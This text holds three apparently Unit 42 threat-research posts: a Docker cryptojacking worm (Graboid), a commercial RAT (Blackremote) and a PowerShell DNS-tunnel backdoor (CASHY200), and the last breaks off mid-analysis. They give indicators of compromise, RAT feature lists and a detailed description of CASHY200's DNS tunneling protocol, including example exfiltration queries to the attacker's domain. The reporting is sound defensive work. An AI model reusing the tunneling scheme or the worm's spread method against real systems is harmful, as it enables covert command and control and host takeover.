There have been incidents of cryptojacking malware spreading as a worm, but this is the first time we see a cryptojacking worm spread using containers in the Docker Engine (Community Edition). Because most traditional endpoint protection software does not inspect data and activities inside containers, this type of malicious activity can be difficult to detect. The malicious actor gained an initial foothold through unsecured Docker daemons, where a Docker image was first installed to run on the compromised host. The malware, which was downloaded from command and control (C2) servers, is deployed to mine for Monero and periodically queries for new vulnerable hosts from the C2 and picks the next target at random to spread the worm to. Our analysis shows that on average, each miner is active 63% of the time and each mining period lasts for 250 seconds. The Docker team worked quickly in tandem with Unit 42 to remove the malicious images once our team alerted them of this operation.

Containerized Cryptojacking Worm

Figure 1. Cryptojacking worm activity overview

A quick Shodan search shows that show that more than 2,000 Docker engines are insecurely exposed to the internet. Without any authentication or authorization, a malicious actor can take full control of the Docker Engine (CE) and the host. The attacker leverages this entry point to deploy and spread the worm. Figure 1 illustrates how the malware is delivered and spread. The attacker compromised an unsecured docker daemon, ran the malicious docker container pulled from Docker Hub, downloaded a few scripts and a list of vulnerable hosts from C2 and repeatedly picked the next target to spread the worm. The malware, which we’ve named ‘Graboid’, carries out both worm-spreading and cryptojacking inside containers. It randomly picks three targets at each iteration. It installs the worm on the first target, stops the miner on the second target, and starts the miner on the third target. This procedure leads to a very random mining behavior. If my host is compromised, the malicious container does not start immediately. Instead, I have to wait until another compromised host picks me and starts my mining process. Other compromised hosts can also randomly stop my mining process. Essentially, the miner on every infected host is randomly controlled by all other infected hosts. The motivation for this randomized design is unclear. It can be a bad design, an evasion technique (not very effective), a self-sustaining system or some other purposes.

Below is a more detailed step-by-step operation:

  1. The attacker picks an unsecured docker host as the target and sends remote commands to download and deploy the malicious Docker image pocosow/centos:7.6.1810. The image contains a docker client tool that is used to communicate with other Docker hosts.
  2. The entry point script /var/sbin/bash in the pocosow/centos container downloads 4 shell scripts from the C2 and executes them one by one. The downloaded scripts are live.sh, worm.sh, cleanxmr.sh, xmr.sh.
  3. live.sh sends the number of available CPUs on the compromised host to the C2.
  4. worm.sh downloads a file “IP” that contains a list of 2000+ IPs. These IPs are the hosts with unsecured docker API endpoints. worm.sh randomly picks one of the IPs as its target and uses the docker client tool to pull and deploy the pocosow/centos container remotely.
  5. cleanxmr.sh randomly picks one of the vulnerable hosts from the IP file and stops the cryptojacking containers on the target. cleanxmr.sh stops not only the cryptojacking container the worm deploys (gakeaws/nginx) but also few other xmrig-based containers if they are running.
  6. xmr.sh randomly picks one of the vulnerable hosts from the IP file and deploys the image gakeaws/nginx on the target host. gakeaws/nginx contains an xmrig binary that is masqueraded as nginx.

Step 1 to Step 6 is repeated periodically on every compromised host. The last known refresh interval is set to 100 seconds. The refresh interval, the shell scripts, and the IP file are all downloaded from the C2 after the pocosow/centos container is launched.

At the time of writing, Docker image pocosow/centos has been downloaded more than 10,000 times and gakeaws/nginx has been downloaded more than 6,500 times, as shown in Figure 2. We also noticed that the same user (gakeaws) published another cryptojacking image, gakeaws/mysql, that has the identical content to gakeaws/nginx.

The malicious intent of the pocosow/centos image can’t be known until the shell scripts are downloaded and executed inside the container. However, the malicious intent of the gakeaws/nginx image can be easily spotted from its image build history. As shown in Figure 3, it simply renames the xmrig binary to nginx at the build time (Line 7). Even the payment address is hard-coded to an environment variable during the build time (Line 6).

Figure 4 shows the location of the 2,034 vulnerable hosts listed in the IP file -- 57.4% of the IPs originated from China, followed by 13% from the U.S. We also noticed that out of the 15 C2 servers that the malware uses, 14 hosts are listed in the IP file and the other one host has more than 50 known vulnerabilities. It indicates that the attacker likely compromised these hosts and used them as C2 servers. With the control of the Docker daemon, it is straightforward to deploy a web server container (e.g., httpd, nginx) and place the payload there.

Figure 2. Malicious Docker images on Docker Hub

Figure 3. The image history of gakeaws/nginx

Figure 4. Countries of the vulnerable hosts in the IP file

Worm Simulation

To better understand the effectiveness of the worm and its overall mining power, we created a simple Python program to simulate the worm. Assume that there are 2,000 hosts in the IP file, 30% of these hosts fail during the operation, a 100-seconds refresh interval and one CPU on each compromised host. The experiment simulates a 30-day campaign. We are interested in finding out:

  1. How long does it take for the worm to spread to all the vulnerable Docker hosts?
  2. How much mining power does this malicious actor own?
  3. How much time does each miner stay active on an infected host?

The left part of Figure 5 shows how fast the worm spreads. It takes about 60 minutes for the worm to reach all the 1,400 vulnerable hosts (70% of the 2,000+ hosts). The right part of Figure 5 shows the overall mining power of the compromised hosts. There are, on average, 900 active miners at any time. In other words, the malicious actor owns a 1,400 node mining cluster that has at least 900 CPU mining power. Because miners on the infected hosts can randomly start and stop, each miner is only active 65% of the time and each mining period lasts for only 250 seconds on average.

Figure 5. Worm simulation

Conclusion

While this cryptojacking worm doesn’t involve sophisticated tactics, techniques, or procedures, the worm can periodically pull new scripts from the C2s, so it can easily repurpose itself to ransomware or any malware to fully compromise the hosts down the line and shouldn’t be ignored. If a more potent worm is ever created to take a similar infiltration approach, it could cause much greater damage, so it’s imperative for organizations to safeguard their Docker hosts.

Below is a list of best practices for organizations to help prevent from being compromised:

  • Never expose a docker daemon to the internet without a proper authentication mechanism. Note that by default the Docker Engine (CE) is NOT exposed to the internet.
  • Use Unix socket to communicate with Docker daemon locally or use SSH to connect to a remote docker daemon.
  • Use firewall rules to allowlist the incoming traffic to a small set of sources.
  • Never pull Docker images from unknown registries or unknown user namespaces.
  • Frequently check for any unknown containers or images in the system.
  • Cloud security solutions such as Prisma Cloud or Twistlock can identify malicious containers and prevent cryptojacking activities.

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org.

Indicator of Compromise

Docker Images:

pocosow/centos:7.6.1810:

Digest: sha256:6560ddfd4b9af2c87b48ad98d93c56fbf1d7c507763e99b3d25a4d998c3f77cf

gakeaws/nginx:8.9:

Digest: sha256:4827767b9383215053abe6688e82981b5fbeba5d9d40070876eb7948fb73dedb

gakeaws/mysql:

Digest: sha256:15319b6ca1840ec2aa69ea4f41d89cdf086029e3bcab15deaaf7a85854774881

Monero Address: 45TwKEr1LjoEPuxnbfuPhaXCf138AoQvtSJ3jdqg1gPxNjkSNbQpzZrGDaFHGLrVT7AzM7tU9QY8NVdr4H1C3r2d3XN9Cty

C2 servers:

120.27.32[.]15
103.248.164[.]38
101.161.223[.]254
61.18.240[.]160
182.16.102[.]97
47.111.96[.]197
106.53.85[.]204
116.62.48[.]5
114.67.68[.]52
118.24.222[.]18
106.13.127[.]6
129.211.98[.]236
101.37.245[.]200
106.75.96[.]126
47.107.191[.]137

 

Blackremote: Money Money Money – A Swedish Actor Peddles an Expensive New RAT

Posted on by Unit 42

Executive Summary

While researching prevalent commodity Remote Access Tools (RATs), Unit 42 researchers discovered a new, undocumented RAT in September, which had almost 50 samples observed in more than 2,200 attack sessions within the first month it was sold. In this report, we document the RAT manager/builder, client malware, and profile the Swedish actor behind this together with his promotion and sale of his malware. We also document this RAT already being used in malicious attacks in the wild.

Promoting his RAT

During the first week of September 2019, the actor started promoting his new RAT on several underground forums (Figure 1), using the handles Speccy and Rafiki. The succinct posts shared a link to his sales site blackremote[.]pro, and his discord handle Speccy#0100.

Figure 1. RAT promoted on forums

During the same week, he posted a YouTube video (Figure 2), with instructions for setting up his RAT.

Figure 2. YouTube "how-to" video

The YouTube description (Figure 3) included a link to his personal site speccy[.]dev. It also included the claim “this rat is fully runtime undetected” and a link to “purchase FUD crypter.” There is no legitimate reason for this software to need to be “undetectable” or “crypted.” Rather, such efforts are intended to prevent detection by antimalware software.

Figure 3. YouTube description

blackremote[.]pro

The sales site for Blackremote RAT, blackremote[.]pro (Figure 4), was registered on August 19, 2019.

Figure 4. blackremote[.]pro

Speccy describes his RAT:

“Black Remote Controller PRO is a powerful and full featured systems remote admnistration suite. It will give you full access and control over a remote machine through a countless number of features, giving you the ability to monitor, access or manipulate every activity and data remotely, just like you are in front of it!”

As is typical with other malicious RATs promoted at the same underground forums, Speccy claims legitimate purpose:

“This tool is ideal for everyone who necessitate to access, monitor or operate remotely on a given system for a wide and various range of needs, administration professionals, parental control, forensics, sourveillance [sic], remote assistance. Black will become for you an incredible tool to achieve everything remotely.”

However, the previously mentioned claims of being “undetectable” and references to crypting, together with features such as “Password Recovery” and his “Fun Features” (Figure 5) advertising (“We all know sometimes things may get boring, expecially [sic] in professional and tech environment“ … “Black Remote Controller may become also a funny tool for jokes, why not?”) are hardly in keeping with a tool designed for legitimate purpose.

Figure 5. "Fun Features"

Speccy licenses (Figure 6) his RAT at a comparatively high price compared to other commodity RATs. With $49 for a 31-day license, $117 for 93 days, and $438 for one year.

Figure 6. Purchase

The purchase itself is through various cryptocurrencies, using third-party payment service vsell[.]io (Figure 7).

Figure 7. vSell

Features

The site lists the features of this RAT in detail:

“Remote Desktop
Watch the Remote Desktop Live at incredible low latency, take shots or activate video
recording to .avi files. Take control over the mouse device and more. Supports
multiple screens.

Remote File Manager
Freely navigate in as fast as in real time through all drives, files and folders of your
remote machine.
Be able to achieve any kind of file manipulations.

Remote Webcam
Private property surveillance, monitoring, parental control, this feature allows for
multiple needs. Take shots or activate video recording to .avi files.

File Transfers
Upload and or Download any data from and to your remote machine. Multiple transfers
at once supported and no size limit at incredible speed.

Keystroke Capture
Keystroke capture Live or in Offline mode and retrieve logs later. All keyborads [sic] are
supported. A keyword search feature is included.

Services Manager
Be able to list all remote machine stopped and running Services, launch or stop them in
a click.

Processes Manager
Monotor [sic] all running Processes in your remote machine, kill. suspend, resume them or
set an alarm on specific ones if detected.

Remote Audio
Listen to your remote machine Microphone device, great for surveillance or just listen
what the remote user have to say to you.

Registry Editor
Navigate through the full remote machine Windows Registry, retrieve or modify any key
or value in it, create new ones.

Chat System
Be able to initialize a Chat session with the remote machine user it for assistance or any
given need.

Shutdown, Reboot, Logoff System
Be able to remotely logoff, restart or shutdown your remote machines as needed.

System Messages
Create and fully customize system messages, alerts, infos to pop up on your remote
machine.

Downloader
Download and execute any file from a given URL with complete customization of the
saving path, execution and more.

Passwords Recovery
Get all saved password in the remote machine, browsers, mail clients and few
applications are supported.

TCP Connections Monitor
Monotor all active TCP connections in and out your remote machine. Be able to block
them by port, process or instant kill.

Visit Website
Be able to launch any website page for support or any other specific need.

Clipboard Manager
Acces, read or write or edit the remote machine Clipboard content.

Scripting Tool
Create and execute remotely your scripts. VBS, HTML, BATCH, POWERSHELL
supported.

Startup Manager
Manage all remote machine System Startup entries. Add, remove, modify them through
multiple startup methods.

Remote Shell
Being able to access your remote machine Shell is vital to achieve almost any and
advanced task.

Windows Manager
Be able to manage any open windows, visible or hidden ones on your remote machine.
Close, maximize, minimize, hide, show, block, any interaction is supported.

Installed Software
Sometimes being able to tell wich software is installed on a system is usefull [sic] to get an
idea of how the remote environement [sic] is set.

Hosts File
This file has a critical role for Windows systems, being able to redirect, block, translate,
associate ip/hosts addresses. Hosts file customization is sometimes critical to
block some websites access for example.

Client Manager
You have plenty of options to modify, update, restart, kill and more of your installed
Client file.
Client editor will allow for customizations of your file.”

Manager / Builder

The purchaser is given a Sendspace download link for the Blackremote manager / builder software, together with the password for the 6 Mb RAR.

Unpacking the manager / builder installs a 9Mb main executable BLACK-RC.EXE, a pair of resource libraries, and a resource directory with a pair of .wav files.

Figure 8. Manager / builder registration / login

Upon loading the manager / builder, the user is given a registration / login screen (Figure 8). Blackremote utilizes the third-party “CodeVEST” licensing system, also peddled on underground forums. The licensing system validates by connecting to codevest[.]sh. “CodeVEST” seems to take the place of “Netseal” as a registration service used by commodity malware. The author of “Netseal”, Taylor Huddleston, was charged in 2017 for that operation together with the sale of his own commodity malware, “Nanocore RAT.” The same person who offers the “Codevest” licensing service, also profits from a crypting service “Cyber Seal”. This highlights the role in the commodity malware ecosystem of not only the malware sellers, but also service providers such as the licensing services they use, and the crypting services they purchase to avoid detection of the malware that they build.

Figure 9. CodeVEST

The Blackremote manager / builder (Figure 10) allows the user to build new client malware to their configuration, and to control connections from those infected clients.

Figure 10. Blackremote Manager / Builder

The manager / builder allows the user to define actions-upon-connect for client connections (Figure 11), a connection log (Figure 12), and the ability to list (Figure 13) and interact with connected clients.

Figure 11. On-connect options

Figure 12. Connection log

Figure 13. Active connections

The client-control features advertised by Speccy are exposed in the context menu for connected clients (Figure 14).

Figure 14. Client control

Speccy is actively developing this software. The changelog shows incremental improvements on a regular basis, such as the newly-added client privilege escalation (Figure 15).

Figure 15. Change log

Client

We note that different samples from similar time periods have been observed with identical file sizes. We suspect that regardless of dynamic content, such as C2 information or differing RAT options, that the obfuscation process in the building of the client may make all clients of a specific Blackremote version level identical in file size.

Both the builder and client are heavily protected, using more than one obfuscator ( Agile.NET, Babel .NET, Crypto Obfuscator, Dotfuscator, Goliath.NET, SmartAssembly, Spices.Net, Xenocode).

In the Wild

Although Blackremote is very new, as of the time of this report we are already seeing it used in attacks. A month after Speccy started selling Blackremote RAT, we have almost 50 samples observed in more than 2,200 attack sessions against Palo Alto Networks customers.

A Customer

Interestingly, just one campaign seems to be responsible for the vast majority of those attacks. The file doc00190910.exe (SHA256: 2b3cda455f68a9bbbeb1c2881b30f1ee962f1c136af97bdf47d8c9618b980572), was spread by email, peaking September 9-11, 2019. It targeted Palo Alto Networks customers in varied verticals (Figure 16), worldwide. It uses renaj.duckdns[.]org (103.200.6[.]79) as a Command-and-Control (C2) server. We observed this used in over 1800 attack sessions.

Figure 16. Campaign victim verticals

The same C2 has been observed being used by the actor in over 50 Netwire, Nanocore, Quasar, and Remcos commodity RAT samples back to early 2018.

This is a clear illustration of how the authors of commodity RATs such as Blackremote profit, while enabling malicious cyber attacks.

Conclusion

Commodity RATs are often sold on the internet for years, their authors profiting while enabling malicious actors to spread thousands of samples of malware, built with their RAT builders.

The opportunity to document a RAT within days of its emergence, and to identify the individual behind it – in this case, an 18-year-old from Sweden, will hopefully enable authorities to take timely action against this actor, and his customers. Unit 42 has fully identified this actor; we will not share his identity here, but we have ensured that the correct authorities have been advised. The longer this is sold, not only the more samples of this RAT will be built and spread, but also the opportunity for other actors to crack this RAT and distribute it indiscriminately. It is important to identify and interdict the sale of such malware as early as possible to prevent its proliferation, which enables a large population of unsophisticated threat actors.

Organizations with decent spam filtering, proper system administration, and up-to-date Windows hosts have a much lower risk of infection. Palo Alto Networks customers are further protected from this threat. Our threat prevention platform detects Blackremote malware, with Wildfire and Traps. AutoFocus users can track this activity using the Blackremote tag.

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org.

Hashes

514b3d98c1a8cbd5ea08ff31e22700adb9ca0d93d9bc4d6a5232324f0f3e806d
39721fb2d55777eeb6bdfdc9068782894993d172bb92cbad6a525c130312ef11
c3075bced2e864ee7e693c19ecf1ed82cde0aae3d440e9ff2f37d3d6e20fdf0f
3eda427ad5816e6dcf077562a367f71e8bdf5aa931e594416ae445357c12b409
3265bb60b532005bc3535bdf7336bff1845aa5ed3306fd5dbb2ec884cb3d6323
744438c125ceb7a3a7e44cca9fd6b397e982d048f680f164abd46743fd64cd12
33a34ae9a757f6be754571e752a3ee9200153db16c34cf2fd5590ad616fbb04e
fb8b9fe377ccdef76645a081905137e3580eed1defdabbbf48a3d20f0dc760b4
0278145549af5cad9318d51e4c150afe2180b55f72194562885d5c8f9526f465
ea5384db27a27b826c100bbc2535561ea61bf4f44eb4eb93243740188799d675
123539b0eaff1a23606d3716cdc0c73618af6f0cd821ae33863d0f47b2267dbf
f7b165903f6f9b979e84399ce4e1b85ed2927740771d85a7b8c85203641a08a1
93bfbd4b12a17732c8b7e66c554f98187184c6d845bd02e0dbb2104ce8da0453
469d8b2cced859f57b535363307c1e29c0bf0342d14ce0da109a40493a441b62
ada653c948875a9c1ca588251b317d8e971fdf980252d92e36d59f14f5eb9ab9
c207cf50305f126451e2dc5493d83614fdf801541d011e5002ee5daea2b4433b
57a15cc236e4d2ba6e08b062a75671b8a674e0d8498d87e48652c778ea263d49
3875545099276f2b34c3752b177b6d90a2eeb47148ddfb559a4d076d0f40716a
e1bf5d2ef3a4f922f9a15ab76de509213f086f5557c9e648126a06d397117d80
ed7693d9b1b069d39451002bc1df06bf4e123926fa34abb6afeb9a18d6d90dcd
901e06cd91adb7255d75781ef98fac71d17f7bed074a52147bdbd42ea551b34f
9c93b768b5261194ad207c0e92e9767e70ba38203f24f2909e1b39a9a1d6570c
129491bfdd9a80d5c6ee1ce20e54c9fb6deb2c1e1713e4545b24aa635f57a8b9
931839ee649da42b0ee3ac5f5dfa944b506336c7f4e5beb3fc07a6b35a7e6383
0908f8fbe1e3a77d941ae83fe3677d103d86d6e59a6ae4530eadba8af7fc1b3a
69aaaf148a132385512f66d7668b045d6467f8639a3ef7460e20ce0627bc84fc
f6ae66a8a6357d7622463db9953ae164d496e7f5ee0dfe2c8e3550a231f25078
c5a78bf01ab2e44c7dba3a363f2eda51cf648e904f2beb47d6cf3112368ff20c
f83e25cf2b2c2f2d0a14e3f538c11f70135ee8ec158446a51bb0f2d999765267
cb423b73ae3e51195abbcf8bc1f2655d61436825815089b92e843b570ac7c86d
ee20db296c7c4cf3ca6db0c739f1579f554a447b6c1e2b343b22d341f288662f
a4bc7d42dd64df3502b7f8c2335c64eba7a484479fc8c2dc8a4aa448f10354b3
756efcbd2767c5499b6f09a089033c82050459fc2999d3ce79caa25746693e26
117cf46ae69134dbe0c8a1d5f4cac92b46c15ea4945929df3880c0ac63e158f3
e5366365852a953a1747ab8a5d721c2536c5671c07bfecf648fb2cf6a13f2dc0
0c63983cb38d187c187f373852d7b87ff4e41ea0d77d75907aa3388ad957f38f
e54531896dbd100fec41cfc89b06f2afa1efd4077d1f197b1b88f74371135436
c38006115bd7c22151c4e31d8d4ed6ec114c2aaf1c7c0da12ef7b44f96fc58d6
0f66acc9883b284580980020d4a48557b2fe38312ca80db97c77cc2fa78c51fb
77fe670ed011e547db72207ba5849b9f618185b52e0ae766c23ef675b116b252
2b3cda455f68a9bbbeb1c2881b30f1ee962f1c136af97bdf47d8c9618b980572
105cab9c9604238c05be167c6d8d47cd2bc0427b07ede08c5571b581ebd80001
cc795b94cac222afc69749359d8b17d9fb7a7fb6e824d43008c1674c0d146929
1737cf3aec9f56bb79a0c4e3010f53536c36a1fbeeedea81b6d7b66074ecffbe

 

xHunt Campaign: New PowerShell Backdoor Blocked Through DNS Tunnel Detection

Posted on by Robert Falcone

Executive Summary

During our continued analysis of the xHunt campaign, we observed several domains with ties to the pasta58[.]com domain associated with known Sakabota command and control (C2) activity. In June 2019, we observed one of these overlapping domains, specifically, windows64x[.]com, being used as the C2 server for a new PowerShell based backdoor that we’ve named CASHY200. This PowerShell backdoor used DNS tunneling to communicate with its C2 server, specifically by issuing DNS A queries to the actor controlled name server at the aforementioned domain. CASHY200 parses data provided by the C2 server within DNS answers to run commands on the system and send the results back to the C2 via DNS queries. In several samples, CASHY200 used randomly generated identifiers that are stored in the registry at HKCU\Software\Microsoft\Cashe\index and used the command value 200 to communicate with the C2 server. These details are the basis for the name CASHY200.

While we do not have telemetry showing how the CASHY200 PowerShell backdoor was delivered, in September 2019 we observed a host based in Kuwait beaconing to the windows64x[.]com domain using the same DNS tunneling protocol as the CASHY200 payload. Fortunately, the beaconing to this domain was blocked by our DNS security service, so the adversary was no longer able to communicate with their payload using this DNS tunnel. By analyzing the lineage of this tool, we found that actors may have used CASHY200 when targeting Kuwait government organizations starting in the spring of 2018 and continuing throughout 2019, according to our open source collection efforts.

CASHY200 Attacks

On September 16, 2019, an organization based in Kuwait enabled our DNS Security subscription, which detected malicious DNS tunneling activity within minutes. The DNS tunnel was communicating with the windows64x[.]com domain, which we had previously linked to the xHunt campaign that targeted shipping and transportation organizations in Kuwait. By blocking the DNS tunnel, the actor no longer had the ability to access the compromised systems. We do not have any telemetry on the initial breach that resulted in the installation of the payload using the DNS tunnel.

While investigating the activity, we found a CASHY200 PowerShell-based payload that communicated with windows64x[.]com. We analyzed this PowerShell script and found that its DNS tunneling protocol matched the outbound DNS requests at the Kuwait organization which were blocked by DNS Security. We will provide an analysis of CASHY200 and its DNS tunneling protocol in a later section of this blog.

After gathering additional CASHY200 samples, we observed evidence that the threat group was actively developing this PowerShell-based tool for use in their attack campaigns. While researching this evolution, we found several samples that date back to May and June of 2018. On May 1 and June 3, 2018, we first saw executables that installed and executed CASHY200 PowerShell scripts that communicated with the domains windows-updates[.]com and firewallsupports[.]com, respectively. We do not have telemetry to determine the organizations that were impacted by these payloads, however, the Tweets by @Voulnet seen in Figure 1 suggest that Word documents were used to deliver PowerShell payloads using firewallsupports[.]com as a C2 to target government organizations in Kuwait.

Figure 1. Tweet by @Voulnet suggesting that PowerShell-based payloads communicating with firewallsupports[.]com were used to target the Kuwait government

While we are unable to confirm that this threat group used CASHY200 payloads configured to communicate with firewallsupports[.]com to target government organizations in Kuwait, we did discover Word documents that installed CASHY200 payloads configured with the aforementioned domain as its C2 which also contained the logo of a Kuwait government organization as part of its social engineering lure image. This aligns with the general targeting observed in the xHunt campaign, in which the attacks were solely on Kuwait organizations. Table 1 lists the Word documents seen installing CASHY200, which shows another C2 domain, winx64-microsoft[.]com, used by this threat group.

Modified time SHA256 Filename C2 domain
8/20/2018 7:00:00 bce37fc0... عيد الأضحى.docm firewallsupports[.]com
8/13/2018 9:07:00 5a3c156... دلیل تسجیل الدخول.docm firewallsupports[.]com
1/1/1980 0:00:00 45b2db5... Update list soft-Ad.docm winx64-microsoft[.]com
7/4/2018 5:45:00 ce6b44af... قائمة النماذج العامة01.docm firewallsupports[.]com
7/4/2018 6:10:00 0b54763... قائمة النماذج العامة02.docm firewallsupports[.]com
7/4/2018 6:09:00 396235b... قائمة النماذج العامة03.docm firewallsupports[.]com

Table 1. Malicious Word documents installing CASHY200 payloads

Also of interest, on May 14, 2019, an individual posted on Microsoft’s TechNet forum requesting information on an activity they observed on two of their servers that involved the domain windows64x[.]com. The activity described by the individual is tunneling activity to the same C2 domain using the same DNS tunneling protocol that we blocked at the Kuwait government organization. While we cannot confirm the organization experiencing this activity, based on the details provided in the forum post, we believe that the individual also worked at another Kuwait government organization.

Another interesting detail provided in the post to TechNet was that the queries for the DNS tunnel were generated using the command ping -n 1 <domain>. We observed the same technique to issue queries for a DNS Tunnel in a CASHY200 sample configured with firewallsupports[.]com as the C2, as depicted in the code in Figure 2. If a user (or malicious script in this case) provides a domain to the ping command, the application will attempt to resolve the domain before sending the ICMP messages to ping the remote system. Using the ping application in this manner effectively sends the query for the DNS tunnel.

Figure 2. Code in CASHY200 sample using ping -n 1 to issue DNS queries to firewallsupports[.]com

Similarly, we observed another CASHY200 sample that used the nslookup command in the same manner as the ping sample except to communicate using the domain windows64x[.]com. This sample used nslookup -type=a <domain> to issue the DNS queries and further strengthens the relationship between the two domains.

CASHY200 DNS Tunneling Protocol

We analyzed the file(SHA256: eccc65711cbd154f680e8c8ef343d53f29e4a6237510abd4ad1eab5742b035b3) in order to understand the capabilities of the payload and the DNS tunneling protocol that was blocked at the Kuwait organization. This sample communicates with the domain windows64x[.]com. The DNS tunneling protocol relies on DNS A queries to send data from the Trojan to the C2 server within the subdomain of the queried domain and receive data within the IPv4 answer from the C2 server. At a high level, the CASHY200 sample associated with this activity can issue two different commands, seen in Table 2 by answering the initial beacon query with an IPv4 answer that has either 48 or 92 as its first octet.

Command in IPv4 Description of Command
48.x.x.x Run ‘hostname’ command and send the results to the C2 over DNS tunnel.
92.<# of queries>.x.x Obtain command to run from the answers to subsequent DNS queries and send the results to the C2 over DNS tunnel. Second octet is used to notify the payload how many DNS queries to issue to obtain the command

Table 2. Commands available within CASHY200 and their functionality

Older samples of CASHY200 that used windows-updates[.]com and firewallsupports[.]com for their C2 domains only had one command available that it would issue by including 200 as its first octet of the IPv4 answer. This command had the same functionality as the 92 command seen in Table 2 above. In these older samples, the 48 command was not needed as they would provide the hostname of the system within the initial beacon instead of requesting it from the C2. The command value of 200 is the basis for the latter part of the CASHY200 name.

In general, the domains generated by CASHY200 for its DNS tunnel will be structured as seen in Figure 3. The sequence number and data for exfiltration fields are optional and are often blank depending on the Trojan's request type. For instance, the first DNS query that acts as a beacon does not have a sequence number or data exfiltration field. In addition, older samples of CASHY200 use 4 random characters instead of 5.

<5 random characters><hexlified request type><hexlified unique
hostname><sequence number><data for
exfiltration>.windows64x[.]com
   Figure 3. Structure of the DNS queries generated by CASHY200 for its DNS tunneling protocol

The request type field allows CASHY200 to tell the C2 server the purpose of the DNS query it issued. This allows the C2 server to respond to the inbound query with the appropriate IPv4 address within the DNS answer. Table 3 provides all of the available request types and the purpose of the DNS query. It is important to note that CASHY200 samples using windows64x[.]com as a C2 server can receive commands within the response to both the d or the q request types, whereas older samples can only process commands from responses to the q request type.

Request type Description
d Initial ‘hello’ beacon.
q Requesting command beacon.
f Finished sending results.
c Sending number of upcoming queries to send the custom command results.
h Obtaining data from C2 within IPv4 answers.
a Sending hostname command results within subdomain.
r Sending custom command results within subdomain.

Table 3. Request types that CASHY200 will use to notify C2 of the purpose of each DNS query

In the CASHY200 tunnel that was blocked by DNS Security, the <hexlified unique hostname> was a string hardcoded by the actor into the Trojan, which appears unique to the infected system. This hardcoded hostname suggested that the threat actor created the CASHY200 sample specifically for the compromised host, which also allowed us to quickly determine the infected hosts to triage remediation efforts. Older samples of CASHY200 use randomly generated identifiers that the Trojan stores in the registry, one location was HKCU\Software\Microsoft\Cashe\index, which was the basis of the front portion of the name CASHY200.

As previously mentioned, the sequence number only appears within the queried subdomain when CASHY200 sends data to the C2 server. CASHY200 will start the sequence number at 101 and increment this value each query it sends until it has transmitted all of the data to the C2.

CASHY200 DNS Tunnel Example

To understand and visualize the DNS tunneling protocol used by CASHY200, we created a C2 server to interact with and issue commands to the backdoor. We created the C2 server to interact with the CASHY200 sample configured with windows64x[.]com which can process two commands: 48 or 92 within the first octet of the DNS A record answer (see Table 2 for command description). Figure 4 below shows a network packet capture of CASHY200 interacting with our C2 server. This image shows CASHY200 receiving the ‘hostname’ command followed by a custom command of ‘whoami’, both of which the backdoor will run and transmit the results back to the C2.

Of note, Figure 4 shows the DNS server responding to these queries with 1.2.3.4, which is just a placeholder we included in our C2 server as CASHY200 ignores the DNS response when sending data.

Figure 4. DNS traffic associated with CASHY200 receiving and responding to the ‘hostname’ followed by a custom command ‘whoami’

In Figure 4, the first DNS query to resolve is
yFIOr645245444143544544.windows64x[.]com which acts as an initial beacon. The first five characters (yFIOr) are random and have no purpose other than generating random subdomains in order to avoid DNS caching. The next two characters (64) signify the Hex notation of the d request type, which is the request type for the initial beacon as noted in Table 3. The request type is followed by the system specific hostname hardcoded into the sample, which in this case is 5245444143544544 for <REDACTED>.

To issue the 48 command to get the hostname of the system, the C2 server responds to the initial beacon query with 48 as the first octet of the IPv4 answer, specifically 48.0.0.0. The C2 server does not have to issue this IPv4 specifically to issue the ‘hostname’ command, as CASHY200 ignores the remaining three octets and runs the 'hostname' command. Our test system had a hostname of test-system-ftw, which CASHY200 sends to the C2 server in a sequence of DNS queries to resolve the following:

  1. pevtF6152454441435445443130316447567a6443317a65584e305a57303d.windows64x[.]com
  2. diosk6152454441435445443130324c575a3064773d3d.windows64x[.]com
  3. weDlz615245444143544544313033.windows64x[.]com

These DNS queries contain the results of the ‘hostname’ command using the request type a (61) in the subdomain of the three queries) in order to transmit the data. Following the request type is the data to be sent within these DNS queries. The C2 server uses sequence numbers to put the queries in the correct order before base64 decoding the data in each query. In our example, the data, which converted from hexadecimal notation results in 101dGVzdC1zeXN0ZW0=, 102LWZ0dw== and 103. The C2 server then concatenates the decoded data from each query to create the results. Table 4 shows how the C2 would process the ‘hostname’ command results sent by CASHY200 to produce test-system-ftw.

Sequence Number Encoded Data Decoded Data
101 dGVzdC1zeXN0ZW0= test-system
102 LWZ0dw== -ftw
103 <no data>

Table 4. Our C2 processing data sent by CASHY200 in response to the ‘hostname’ command

After sending the results of the ‘hostname’ command, CASHY200 issues the UDmEJ665245444143544544.windows64x[.]com DNS query with the request type f (66 in the subdomain) to notify the C2 it is done sending data. After sending the results of the ‘hostname’ command, CASHY200 issues a query to resolve GmhpF715245444143544544.windows64x[.]com with a request type of q (71 in the subdomain). CASHY200 issues this request to obtain a custom command from the C2 server to run in command prompt.

The packet capture in Figure 4 shows our C2 server responding to the CASHY200 query with a request type of q and IPv4 address of 92.2.0.0. As mentioned in Table 2, CASHY200 will parse this IPv4 as a custom command with the first octet of the IPv4 (92) signaling the issued custom command and the second octet (2) as the number of DNS queries the backdoor must issue to download the entire command from the C2 server’s answers to queries. The command data is issued via IPv4 addresses within the DNS answers, which is a very inefficient way of transmitting data as the C2 can only send four bytes of data for each DNS query the Trojan issues.

Based on the answer 92.2.0.0, CASHY200 issues the following two DNS queries, both of which have a request type of h (68 in the subdomains) and sequence numbers of 100 and 101 (313030 and 313031 in the subdomains):

  1. iQKEe685245444143544544313030.windows64x[.]com
  2. TyxLC685245444143544544313031.windows64x[.]com

The C2 server answers these two queries with the IPv4 addresses 119.104.111.97 and 109.105.0.0, which CASHY200 processes by treating each octet as a byte of data and concatenating all the bytes to receive the command. For instance, Table 5 shows how CASHY200 would process the two IPv4 answers to obtain the command ‘whoami’.

IPv4 Answer Octets in Ascii Resulting string
119.104.111.97 ‘w’.’h’.’o’.’a’ whoa
109.105.0.0 ‘m’.’i’.’\x00’.’\x00’ mi

Table 5. CASHY200 processing IPv4 answers from our C2 to get a custom command to run ‘whoami’

